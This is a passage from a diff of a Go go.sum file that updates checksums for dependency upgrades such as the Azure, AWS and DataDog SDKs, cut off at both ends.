+cloud.google.com/go/monitoring v1.21.2/go.mod h1:hS3pXvaG8KgWTSz+dAdyzPrGUYmi2Q+WFX8g2hqVEZU= +cloud.google.com/go/storage v1.49.0 h1:zenOPBOWHCnojRd9aJZAyQXBYqkJkdQS42dxL55CIMw= +cloud.google.com/go/storage v1.49.0/go.mod h1:k1eHhhpLvrPjVGfo0mOUPEJ4Y2+a/Hv5PiwehZI9qGU= +cloud.google.com/go/trace v1.11.2 h1:4ZmaBdL8Ng/ajrgKqY5jfvzqMXbrDcBsUGXOT9aqTtI= +cloud.google.com/go/trace v1.11.2/go.mod h1:bn7OwXd4pd5rFuAnTrzBuoZ4ax2XQeG3qNgYmfCy0Io= +dario.cat/mergo v1.0.1 h1:Ra4+bf83h2ztPIQYNP99R6m+Y7KfnARDfID+a+vLl4s= +dario.cat/mergo v1.0.1/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk= filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= -github.com/AdaLogics/go-fuzz-headers v0.0.0-20230811130428-ced1acdcaa24 h1:bvDV9vkmnHYOMsOr4WLk+Vo07yKIzd94sVoIqshQ4bU= -github.com/AdaLogics/go-fuzz-headers v0.0.0-20230811130428-ced1acdcaa24/go.mod h1:8o94RPi1/7XTJvwPpRSzSUedZrtlirdB3r9Z20bi2f8= -github.com/AdamKorcz/go-118-fuzz-build v0.0.0-20230306123547-8075edf89bb0 h1:59MxjQVfjXsBpLy+dbd2/ELV5ofnUkUZBvWSC85sheA= -github.com/AdamKorcz/go-118-fuzz-build v0.0.0-20230306123547-8075edf89bb0/go.mod h1:OahwfttHWG6eJ0clwcfBAHoDI6X/LV/15hx/wlMZSrU= +github.com/AdaLogics/go-fuzz-headers v0.0.0-20240806141605-e8a1dd7889d6 h1:He8afgbRMd7mFxO99hRNu+6tazq8nFF9lIwo9JFroBk= +github.com/AdaLogics/go-fuzz-headers v0.0.0-20240806141605-e8a1dd7889d6/go.mod h1:8o94RPi1/7XTJvwPpRSzSUedZrtlirdB3r9Z20bi2f8= +github.com/AdamKorcz/go-118-fuzz-build v0.0.0-20231105174938-2b5cbb29f3e2 h1:dIScnXFlF784X79oi7MzVT6GWqr/W1uUt0pB5CsDs9M= +github.com/AdamKorcz/go-118-fuzz-build v0.0.0-20231105174938-2b5cbb29f3e2/go.mod h1:gCLVsLfv1egrcZu+GoJATN5ts75F2s62ih/457eWzOw= github.com/AlecAivazis/survey/v2 v2.3.7 h1:6I/u8FvytdGsgonrYsVn2t8t4QiRnh6QSTqkkhIiSjQ= github.com/AlecAivazis/survey/v2 v2.3.7/go.mod h1:xUTIdE4KCOIjsBAE1JYsUPoCqYdZ1reCfTwbto0Fduo= -github.com/Azure/azure-sdk-for-go/sdk/azcore v1.12.0 h1:1nGuui+4POelzDwI7RG56yfQJHCnKvwfMoU7VsEp+Zg= -github.com/Azure/azure-sdk-for-go/sdk/azcore v1.12.0/go.mod h1:99EvauvlcJ1U06amZiksfYz/3aFGyIhWGHVyiZXtBAI= -github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.5.2 h1:FDif4R1+UUR+00q6wquyX90K7A8dN+R5E8GEadoP7sU= -github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.5.2/go.mod h1:aiYBYui4BJ/BJCAIKs92XiPyQfTaBWqvHujDwKb6CBU= -github.com/Azure/azure-sdk-for-go/sdk/internal v1.9.0 h1:H+U3Gk9zY56G3u872L82bk4thcsy2Gghb9ExT4Zvm1o= -github.com/Azure/azure-sdk-for-go/sdk/internal v1.9.0/go.mod h1:mgrmMSgaLp9hmax62XQTd0N4aAqSE5E0DulSpVYK7vc= -github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.5.0 h1:AifHbc4mg0x9zW52WOpKbsHaDKuRhlI7TVl47thgQ70= -github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.5.0/go.mod h1:T5RfihdXtBDxt1Ch2wobif3TvzTdumDy29kahv6AV9A= -github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.3.2 h1:YUUxeiOWgdAQE3pXt2H7QXzZs0q8UBjgRbl56qo8GYM= -github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.3.2/go.mod h1:dmXQgZuiSubAecswZE+Sm8jkvEa7kQgTPVRvwL/nd0E= -github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 h1:L/gRVlceqvL25UVaW/CKtUDjefjrs0SPonmDGUVOYP0= -github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.16.0 h1:JZg6HRh6W6U4OLl6lk7BZ7BLisIzM9dG1R50zUk9C/M= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.16.0/go.mod h1:YL1xnZ6QejvQHWJrX/AvhFl4WW4rqHVoKspWNVwFk0M= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.8.0 h1:B/dfvscEQtew9dVuoxqxrUKKv8Ih2f55PydknDamU+g= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.8.0/go.mod h1:fiPSssYvltE08HJchL04dOy+RD4hgrjph0cwGGMntdI= +github.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.0 h1:+m0M/LFxN43KvULkDNfdXOgrjtg6UYJPFBJyuEcRCAw= +github.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.0/go.mod h1:PwOyop78lveYMRs6oCxjiVyBdyCgIYH6XHIVZO9/SFQ= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.10.0 h1:ywEEhmNahHBihViHepv3xPBn1663uRv2t2q/ESv9seY= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.10.0/go.mod h1:iZDifYGJTIgIIkYRNWPENUnqx6bJ2xnSDFI2tjwZNuY= +github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.6.0 h1:PiSrjRPpkQNjrM8H0WwKMnZUdu1RGMtd/LdGKUrOo+c= +github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.6.0/go.mod h1:oDrbWx4ewMylP7xHivfgixbfGBT6APAwsSoHRKotnIc= +github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.5.0 h1:mlmW46Q0B79I+Aj4azKC6xDMFN9a9SyZWESlGWYXbFs= +github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.5.0/go.mod h1:PXe2h+LKcWTX9afWdZoHyODqR4fBa5boUM/8uJfZ0Jo= +github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c h1:udKWzYgxTojEKWjV8V+WSxDXJ4NFATAsZjh8iIbsQIg= +github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E= github.com/Azure/go-autorest v14.2.0+incompatible h1:V5VMDjClD3GiElqLWO7mz2MxNAK/vTfRHdAubSIPRgs= github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24= github.com/Azure/go-autorest/autorest/to v0.4.0 h1:oXVqrxakqqV1UZdSazDOPOLvOIz+XA683u8EctwboHk= github.com/Azure/go-autorest/autorest/to v0.4.0/go.mod h1:fE8iZBn7LQR7zH/9XU2NcPR4o9jEImooCeWJcYV/zLE= -github.com/AzureAD/microsoft-authentication-library-for-go v1.2.2 h1:XHOnouVk1mxXfQidrMEnLlPk9UMeRtyBTnEFtxkV0kU= -github.com/AzureAD/microsoft-authentication-library-for-go v1.2.2/go.mod h1:wP83P5OoQ5p6ip3ScPr0BAq0BvuPAvacpEuSzyouqAI= +github.com/AzureAD/microsoft-authentication-extensions-for-go/cache v0.1.1 h1:WJTmL004Abzc5wDB5VtZG2PJk5ndYDgVacGqfirKxjM= +github.com/AzureAD/microsoft-authentication-extensions-for-go/cache v0.1.1/go.mod h1:tCcJZ0uHAmvjsVYzEFivsRTN00oz5BEsRgQHu5JZ9WE= +github.com/AzureAD/microsoft-authentication-library-for-go v1.3.2 h1:kYRSnvJju5gYVyhkij+RTJ/VR6QIUaCfWeaFm2ycsjQ= +github.com/AzureAD/microsoft-authentication-library-for-go v1.3.2/go.mod h1:wP83P5OoQ5p6ip3ScPr0BAq0BvuPAvacpEuSzyouqAI= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= -github.com/BurntSushi/toml v1.3.2 h1:o7IhLm0Msx3BaB+n3Ag7L8EVlByGnpq14C4YWiu/gL8= -github.com/BurntSushi/toml v1.3.2/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ= -github.com/DataDog/appsec-internal-go v1.6.0 h1:QHvPOv/O0s2fSI/BraZJNpRDAtdlrRm5APJFZNBxjAw= -github.com/DataDog/appsec-internal-go v1.6.0/go.mod h1:pEp8gjfNLtEOmz+iZqC8bXhu0h4k7NUsW/qiQb34k1U= -github.com/DataDog/datadog-agent/pkg/obfuscate v0.54.0 h1:rLQBdJQSvuFXGs5jK9Mc8BSpD5dalmxwKPPiwzXmlTk= -github.com/DataDog/datadog-agent/pkg/obfuscate v0.54.0/go.mod h1:4/9D8y6pQo5a/Tg8GAQN8SaRIRWxxyl5QHzPRuu8D0k= -github.com/DataDog/datadog-agent/pkg/remoteconfig/state v0.54.0 h1:6t+OZCHDCzaCZwanZI+XD/gw5L4va6d/7hGjI1F1mms= -github.com/DataDog/datadog-agent/pkg/remoteconfig/state v0.54.0/go.mod h1:3yFk56PJ57yS1GqI9HAsS4PSlAeGCC9RQA7jxKzYj6g= -github.com/DataDog/datadog-go/v5 v5.5.0 h1:G5KHeB8pWBNXT4Jtw0zAkhdxEAWSpWH00geHI6LDrKU= -github.com/DataDog/datadog-go/v5 v5.5.0/go.mod h1:K9kcYBlxkcPP8tvvjZZKs/m1edNAUFzBbdpTUKfCsuw= -github.com/DataDog/go-libddwaf/v2 v2.4.2 h1:ilquGKUmN9/Ty0sIxiEyznVRxP3hKfmH15Y1SMq5gjA= -github.com/DataDog/go-libddwaf/v2 v2.4.2/go.mod h1:gsCdoijYQfj8ce/T2bEDNPZFIYnmHluAgVDpuQOWMZE= -github.com/DataDog/go-sqllexer v0.0.12 h1:ncvAr5bbwtc7JMezzcU2379oKz1oHhRF1hkR6BSvhqM= -github.com/DataDog/go-sqllexer v0.0.12/go.mod h1:KwkYhpFEVIq+BfobkTC1vfqm4gTi65skV/DpDBXtexc= +github.com/BurntSushi/toml v1.4.0 h1:kuoIxZQy2WRRk1pttg9asf+WVv6tWQuBNVmK8+nqPr0= +github.com/BurntSushi/toml v1.4.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho= +github.com/DataDog/appsec-internal-go v1.9.0 h1:cGOneFsg0JTRzWl5U2+og5dbtyW3N8XaYwc5nXe39Vw= +github.com/DataDog/appsec-internal-go v1.9.0/go.mod h1:wW0cRfWBo4C044jHGwYiyh5moQV2x0AhnwqMuiX7O/g= +github.com/DataDog/datadog-agent/pkg/obfuscate v0.58.0 h1:nOrRNCHyriM/EjptMrttFOQhRSmvfagESdpyknb5VPg= +github.com/DataDog/datadog-agent/pkg/obfuscate v0.58.0/go.mod h1:MfDvphBMmEMwE3a30h27AtPO7OzmvdoVTiGY1alEmo4= +github.com/DataDog/datadog-agent/pkg/proto v0.58.0 h1:JX2Q0C5QnKcYqnYHWUcP0z7R0WB8iiQz3aWn+kT5DEc= +github.com/DataDog/datadog-agent/pkg/proto v0.58.0/go.mod h1:0wLYojGxRZZFQ+SBbFjay9Igg0zbP88l03TfZaVZ6Dc= +github.com/DataDog/datadog-agent/pkg/remoteconfig/state v0.58.0 h1:5hGO0Z8ih0bRojuq+1ZwLFtdgsfO3TqIjbwJAH12sOQ= +github.com/DataDog/datadog-agent/pkg/remoteconfig/state v0.58.0/go.mod h1:jN5BsZI+VilHJV1Wac/efGxS4TPtXa1Lh9SiUyv93F4= +github.com/DataDog/datadog-agent/pkg/trace v0.58.0 h1:4AjohoBWWN0nNaeD/0SDZ8lRTYmnJ48CqREevUfSets= +github.com/DataDog/datadog-agent/pkg/trace v0.58.0/go.mod h1:MFnhDW22V5M78MxR7nv7abWaGc/B4L42uHH1KcIKxZs= +github.com/DataDog/datadog-agent/pkg/util/log v0.58.0 h1:2MENBnHNw2Vx/ebKRyOPMqvzWOUps2Ol2o/j8uMvN4U= +github.com/DataDog/datadog-agent/pkg/util/log v0.58.0/go.mod h1:1KdlfcwhqtYHS1szAunsgSfvgoiVsf3mAJc+WvNTnIE= +github.com/DataDog/datadog-agent/pkg/util/scrubber v0.58.0 h1:Jkf91q3tuIer4Hv9CLJIYjlmcelAsoJRMmkHyz+p1Dc= +github.com/DataDog/datadog-agent/pkg/util/scrubber v0.58.0/go.mod h1:krOxbYZc4KKE7bdEDu10lLSQBjdeSFS/XDSclsaSf1Y= +github.com/DataDog/datadog-go/v5 v5.6.0 h1:2oCLxjF/4htd55piM75baflj/KoE6VYS7alEUqFvRDw= +github.com/DataDog/datadog-go/v5 v5.6.0/go.mod h1:K9kcYBlxkcPP8tvvjZZKs/m1edNAUFzBbdpTUKfCsuw= +github.com/DataDog/go-libddwaf/v3 v3.5.1 h1:GWA4ln4DlLxiXm+X7HA/oj0ZLcdCwOS81KQitegRTyY= +github.com/DataDog/go-libddwaf/v3 v3.5.1/go.mod h1:n98d9nZ1gzenRSk53wz8l6d34ikxS+hs62A31Fqmyi4= +github.com/DataDog/go-runtime-metrics-internal v0.0.4-0.20241206090539-a14610dc22b6 h1:bpitH5JbjBhfcTG+H2RkkiUXpYa8xSuIPnyNtTaSPog= +github.com/DataDog/go-runtime-metrics-internal v0.0.4-0.20241206090539-a14610dc22b6/go.mod h1:quaQJ+wPN41xEC458FCpTwyROZm3MzmTZ8q8XOXQiPs= +github.com/DataDog/go-sqllexer v0.0.14 h1:xUQh2tLr/95LGxDzLmttLgTo/1gzFeOyuwrQa/Iig4Q= +github.com/DataDog/go-sqllexer v0.0.14/go.mod h1:KwkYhpFEVIq+BfobkTC1vfqm4gTi65skV/DpDBXtexc= github.com/DataDog/go-tuf v1.1.0-0.5.2 h1:4CagiIekonLSfL8GMHRHcHudo1fQnxELS9g4tiAupQ4= github.com/DataDog/go-tuf v1.1.0-0.5.2/go.mod h1:zBcq6f654iVqmkk8n2Cx81E1JnNTMOAx1UEO/wZR+P0= github.com/DataDog/gostackparse v0.7.0 h1:i7dLkXHvYzHV308hnkvVGDL3BR4FWl7IsXNPz/IGQh4= github.com/DataDog/gostackparse v0.7.0/go.mod h1:lTfqcJKqS9KnXQGnyQMCugq3u1FP6UZMfWR0aitKFMM= +github.com/DataDog/opentelemetry-mapping-go/pkg/otlp/attributes v0.20.0 h1:fKv05WFWHCXQmUTehW1eEZvXJP65Qv00W4V01B1EqSA= +github.com/DataDog/opentelemetry-mapping-go/pkg/otlp/attributes v0.20.0/go.mod h1:dvIWN9pA2zWNTw5rhDWZgzZnhcfpH++d+8d1SWW6xkY= github.com/DataDog/sketches-go v1.4.5 h1:ki7VfeNz7IcNafq7yI/j5U/YCkO3LJiMDtXz9OMQbyE= github.com/DataDog/sketches-go v1.4.5/go.mod h1:7Y8GN8Jf66DLyDhc94zuWA3uHEt/7ttt8jHOBWWrSOg= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.25.0 h1:3c8yed4lgqTt+oTQ+JNMDo+F4xprBf+O/il4ZC0nRLw= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.25.0/go.mod h1:obipzmGjfSjam60XLwGfqUkJsfiheAl+TUjG+4yzyPM= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.48.1 h1:UQ0AhxogsIRZDkElkblfnwjc3IaltCm2HUMvezQaL7s= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.48.1/go.mod h1:jyqM3eLpJ3IbIFDTKVz2rF9T/xWGW0rIriGwnz8l9Tk= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0.48.1 h1:oTX4vsorBZo/Zdum6OKPA4o7544hm6smoRv1QjpTwGo= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0.48.1/go.mod h1:0wEl7vrAD8mehJyohS9HZy+WyEOaQO2mJx86Cvh93kM= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.48.1 h1:8nn+rsCvTq9axyEh382S0PFLBeaFwNsT43IrPWzctRU= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.48.1/go.mod h1:viRWSEhtMZqz1rhwmOVKkWl6SwmVowfL9O2YR5gI2PE= github.com/Masterminds/semver/v3 v3.2.1 h1:RN9w6+7QoMeJVGyfmbcgs28Br8cvmnucEXnY0rYXWg0= github.com/Masterminds/semver/v3 v3.2.1/go.mod h1:qvl/7zhW3nngYb5+80sSMF+FG2BjYrf8m9wsX0PNOMQ= github.com/Microsoft/go-winio v0.5.0/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84= github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY= github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU= -github.com/Microsoft/hcsshim v0.12.4 h1:Ev7YUMHAHoWNm+aDSPzc5W9s6E2jyL1szpVDJeZ/Rr4= -github.com/Microsoft/hcsshim v0.12.4/go.mod h1:Iyl1WVpZzr+UkzjekHZbV8o5Z9ZkxNGx6CtY2Qg/JVQ= +github.com/Microsoft/hcsshim v0.12.9 h1:2zJy5KA+l0loz1HzEGqyNnjd3fyZA31ZBCGKacp6lLg= +github.com/Microsoft/hcsshim v0.12.9/go.mod h1:fJ0gkFAna6ukt0bLdKB8djt4XIJhF/vEPuoIWYVvZ8Y= github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s= github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w= github.com/Shopify/logrus-bugsnag v0.0.0-20170309145241-6dbc35f2c30d/go.mod h1:HI8ITrYtUY+O+ZhtlqUnD8+KwNPOyugEhfP9fdUIaEQ= @@ -76,62 +110,65 @@ github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d h1:licZJFw2RwpH github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d/go.mod h1:asat636LX7Bqt5lYEZ27JNDcqxfjdBQuJ/MM4CN/Lzo= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= -github.com/alitto/pond v1.8.3 h1:ydIqygCLVPqIX/USe5EaV/aSRXTRXDEI9JwuDdu+/xs= -github.com/alitto/pond v1.8.3/go.mod h1:CmvIIGd5jKLasGI3D87qDkQxjzChdKMmnXMg3fG6M6Q= +github.com/alitto/pond v1.9.2 h1:9Qb75z/scEZVCoSU+osVmQ0I0JOeLfdTDafrbcJ8CLs= +github.com/alitto/pond v1.9.2/go.mod h1:xQn3P/sHTYcU/1BR3i86IGIrilcrGC2LiS+E2+CJWsI= github.com/anchore/go-struct-converter v0.0.0-20221118182256-c68fdcfa2092 h1:aM1rlcoLz8y5B2r4tTLMiVTrMtpfY0O8EScKJxaSaEc= github.com/anchore/go-struct-converter v0.0.0-20221118182256-c68fdcfa2092/go.mod h1:rYqSE9HbjzpHTI74vwPvae4ZVYZd1lue2ta6xHPdblA= -github.com/apache/tinkerpop/gremlin-go/v3 v3.7.2 h1:RN29NPQY3Rh9OgF8TCLJwnEQTYDv3tLHMHV6GX3RNJk= -github.com/apache/tinkerpop/gremlin-go/v3 v3.7.2/go.mod h1:HEky1yb9WpYF1sLSHEbAioEGSJgJxJmDa63k/PPBnAU= +github.com/apache/tinkerpop/gremlin-go/v3 v3.7.3 h1:QeFU7bC7p/fTo4FXl+ce7pQW3Pgx68hUQMWdnQIZlzc= +github.com/apache/tinkerpop/gremlin-go/v3 v3.7.3/go.mod h1:rMQiut0XlpFgaHLSbUgoP9QmGXjFJeXlh42Zxp4Fnno= +github.com/apparentlymart/go-textseg/v15 v15.0.0 h1:uYvfpb3DyLSCGWnctWKGj857c6ew1u1fNQOlOtuGxQY= +github.com/apparentlymart/go-textseg/v15 v15.0.0/go.mod h1:K8XmNZdhEBkdlyDdvbmmsvpAG721bKi0joRfFdHIWJ4= +github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= -github.com/aws/aws-sdk-go v1.53.19 h1:WEuWc918RXlIaPCyU11F7hH9H1ItK+8m2c/uoQNRUok= -github.com/aws/aws-sdk-go v1.53.19/go.mod h1:LF8svs817+Nz+DmiMQKTO3ubZ/6IaTpq3TjupRn3Eqk= -github.com/aws/aws-sdk-go-v2 v1.27.2 h1:pLsTXqX93rimAOZG2FIYraDQstZaaGVVN4tNw65v0h8= -github.com/aws/aws-sdk-go-v2 v1.27.2/go.mod h1:ffIFB97e2yNsv4aTSGkqtHnppsIJzw7G7BReUZ3jCXM= -github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.2 h1:x6xsQXGSmW6frevwDA+vi/wqhp1ct18mVXYN08/93to= -github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.2/go.mod h1:lPprDr1e6cJdyYeGXnRaJoP4Md+cDBvi2eOj00BlGmg= -github.com/aws/aws-sdk-go-v2/config v1.27.18 h1:wFvAnwOKKe7QAyIxziwSKjmer9JBMH1vzIL6W+fYuKk= -github.com/aws/aws-sdk-go-v2/config v1.27.18/go.mod h1:0xz6cgdX55+kmppvPm2IaKzIXOheGJhAufacPJaXZ7c= -github.com/aws/aws-sdk-go-v2/credentials v1.17.18 h1:D/ALDWqK4JdY3OFgA2thcPO1c9aYTT5STS/CvnkqY1c= -github.com/aws/aws-sdk-go-v2/credentials v1.17.18/go.mod h1:JuitCWq+F5QGUrmMPsk945rop6bB57jdscu+Glozdnc= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.5 h1:dDgptDO9dxeFkXy+tEgVkzSClHZje/6JkPW5aZyEvrQ= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.5/go.mod h1:gjvE2KBUgUQhcv89jqxrIxH9GaKs1JbZzWejj/DaHGA= -github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.16.24 h1:FzNwpVTZDCvm597Ty6mGYvxTolyC1oup0waaKntZI4E= -github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.16.24/go.mod h1:wM9NElT/Wn6n3CT1eyVcXtfCy8lSVjjQXfdawQbSShc= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.9 h1:cy8ahBJuhtM8GTTSyOkfy6WVPV1IE+SS5/wfXUYuulw= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.9/go.mod h1:CZBXGLaJnEZI6EVNcPd7a6B5IC5cA/GkRWtu9fp3S6Y= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.9 h1:A4SYk07ef04+vxZToz9LWvAXl9LW0NClpPpMsi31cz0= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.9/go.mod h1:5jJcHuwDagxN+ErjQ3PU3ocf6Ylc/p9x+BLO/+X4iXw= -github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 h1:hT8rVHwugYE2lEfdFE0QWVo81lF7jMrYJVDWI+f+VxU= -github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0/go.mod h1:8tu/lYfQfFe6IGnaOdrpVgEL2IrrDOf6/m9RQum4NkY= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.9 h1:vHyZxoLVOgrI8GqX7OMHLXp4YYoxeEsrjweXKpye+ds= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.9/go.mod h1:z9VXZsWA2BvZNH1dT0ToUYwMu/CR9Skkj/TBX+mceZw= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.2 h1:Ji0DY1xUsUr3I8cHps0G+XM3WWU16lP6yG8qu1GAZAs= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.2/go.mod h1:5CsjAbs3NlGQyZNFACh+zztPDI7fU6eW9QsxjfnuBKg= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.11 h1:4vt9Sspk59EZyHCAEMaktHKiq0C09noRTQorXD/qV+s= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.11/go.mod h1:5jHR79Tv+Ccq6rwYh+W7Nptmw++WiFafMfR42XhwNl8= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.11 h1:o4T+fKxA3gTMcluBNZZXE9DNaMkJuUL1O3mffCUjoJo= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.11/go.mod h1:84oZdJ+VjuJKs9v1UTC9NaodRZRseOXCTgku+vQJWR8= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.9 h1:TE2i0A9ErH1YfRSvXfCr2SQwfnqsoJT9nPQ9kj0lkxM= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.9/go.mod h1:9TzXX3MehQNGPwCZ3ka4CpwQsoAMWSF48/b+De9rfVM= -github.com/aws/aws-sdk-go-v2/service/s3 v1.55.1 h1:UAxBuh0/8sFJk1qOkvOKewP5sWeWaTPDknbQz0ZkDm0= -github.com/aws/aws-sdk-go-v2/service/s3 v1.55.1/go.mod h1:hWjsYGjVuqCgfoveVcVFPXIWgz0aByzwaxKlN1StKcM= -github.com/aws/aws-sdk-go-v2/service/sso v1.20.11 h1:gEYM2GSpr4YNWc6hCd5nod4+d4kd9vWIAWrmGuLdlMw= -github.com/aws/aws-sdk-go-v2/service/sso v1.20.11/go.mod h1:gVvwPdPNYehHSP9Rs7q27U1EU+3Or2ZpXvzAYJNh63w= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.24.5 h1:iXjh3uaH3vsVcnyZX7MqCoCfcyxIrVE9iOQruRaWPrQ= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.24.5/go.mod h1:5ZXesEuy/QcO0WUnt+4sDkxhdXRHTu2yG0uCSH8B6os= -github.com/aws/aws-sdk-go-v2/service/sts v1.28.12 h1:M/1u4HBpwLuMtjlxuI2y6HoVLzF5e2mfxHCg7ZVMYmk= -github.com/aws/aws-sdk-go-v2/service/sts v1.28.12/go.mod h1:kcfd+eTdEi/40FIbLq4Hif3XMXnl5b/+t/KTfLt9xIk= -github.com/aws/smithy-go v1.20.2 h1:tbp628ireGtzcHDDmLT/6ADHidqnwgF57XOXZe6tp4Q= -github.com/aws/smithy-go v1.20.2/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= -github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= -github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o= -github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= +github.com/aws/aws-sdk-go v1.55.5 h1:KKUZBfBoyqy5d3swXyiC7Q76ic40rYcbqH7qjh59kzU= +github.com/aws/aws-sdk-go v1.55.5/go.mod h1:eRwEWoyTWFMVYVQzKMNHWP5/RV4xIUGMQfXQHfHkpNU= +github.com/aws/aws-sdk-go-v2 v1.36.2 h1:Ub6I4lq/71+tPb/atswvToaLGVMxKZvjYDVOWEExOcU= +github.com/aws/aws-sdk-go-v2 v1.36.2/go.mod h1:LLXuLpgzEbD766Z5ECcRmi8AzSwfZItDtmABVkRLGzg= +github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.10 h1:zAybnyUQXIZ5mok5Jqwlf58/TFE7uvd3IAsa1aF9cXs= +github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.10/go.mod h1:qqvMj6gHLR/EXWZw4ZbqlPbQUyenf4h82UQUlKc+l14= +github.com/aws/aws-sdk-go-v2/config v1.29.7 h1:71nqi6gUbAUiEQkypHQcNVSFJVUFANpSeUNShiwWX2M= +github.com/aws/aws-sdk-go-v2/config v1.29.7/go.mod 